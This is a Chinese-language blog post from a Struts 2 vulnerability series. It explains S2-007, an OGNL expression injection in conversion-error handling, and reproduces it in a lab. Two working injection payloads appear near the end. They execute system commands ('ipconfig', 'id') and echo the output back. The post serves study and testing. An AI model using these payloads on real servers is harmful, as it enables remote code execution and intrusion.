• Struts 2 漏洞专题 | S2-007


    漏洞简介

    发生转换错误时,将用户输入评估为OGNL表达式。 这允许恶意用户执行任意代码。

    例如:

    当配置了验证规则 <ActionName>-validation.xml 时,若类型验证转换出错,后端默认会将用户提交的表单值通过字符串拼接,然后执行一次 OGNL 表达式解析并返回。例如这里有一个 UserAction:

    (...)
    public class UserAction extends ActionSupport {
    	private Integer age;
    	private String name;
    	private String email;
    
    (...)
    

    然后配置有 UserAction-validation.xml:

    <?xml version="1.0" encoding="UTF-8" ?>
    <!DOCTYPE validators PUBLIC
    	"-//OpenSymphony Group//XWork Validator 1.0//EN"
    	"http://www.opensymphony.com/xwork/xwork-validator-1.0.2.dtd">
    <validators>
    	<field name="age">
    		<field-validator type="int">
    			<param name="min">1</param>
    			<param name="max">150</param>
    		</field-validator>
    	</field>
    </validators>
    

    当用户提交 age 为字符串而非整形数值时,后端用代码拼接 "'" + value + "'" 然后对其进行 OGNL 表达式解析。要成功利用,只需要找到一个配置了类似验证规则的表单字段使之转换出错,借助类似 SQLi 注入单引号拼接的方式即可注入任意 OGNL 表达式。

    影响版本

    Struts 2.0.0 - Struts 2.2.3

    漏洞复现

    环境准备

    Windows 7 64bit(内含XAMPP)

    Struts2.1.6

    测试地址:http://192.168.1.104:8080/struts2-showcase-2.1.6/conversion/submitPersonInfo.action

    先访问http://192.168.1.104:8080/struts2-showcase-2.1.6/conversion/然后点击第一项。

    经验证,age处若填入非整形变量,会出现验证错误。如下图所示:

    POC-1

    '%2b(%23_memberAccess.allowStaticMethodAccess=true,%23context["xwork.MethodAccessor.denyMethodExecution"]=false,%23cmd="ipconfig",%23ret=@java.lang.Runtime@getRuntime().exec(%23cmd),%23data=new+java.io.DataInputStream(%23ret.getInputStream()),%23res=new+byte[500],%23data.readFully(%23res),%23echo=new+java.lang.String(%23res),%23out=@org.apache.struts2.ServletActionContext@getResponse(),%23out.getWriter().println(%23echo))%2b'
    

    POC-2

    ' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())) + '
    

    结果截图

    说明:本专题只为学术交流,请所有读者切勿利用以上资源用于非法犯罪活动,有任何问题欢迎联系我的邮箱1294553086@qq.com。

    部分文字性说明来源于网上资源,若有侵权请发邮件到1294553086@qq.com。

  • 相关阅读:
    Delete Node in a Linked List leetcode
    Remove Linked List Elements leetcode
    Remove Linked List Elements
    Remove Element leetcode
    Merge Sorted Array leetcode
    Min Stack leetcode
    Valid Palindrome leetcode
    [LeetCode] 1. Two Sum
    [LeetCode] 520. Detect Capital
    [LeetCode] 791. Custom Sort String
  • 原文地址:https://www.cnblogs.com/Feng-L/p/13644811.html
Copyright © 2020-2023  润新知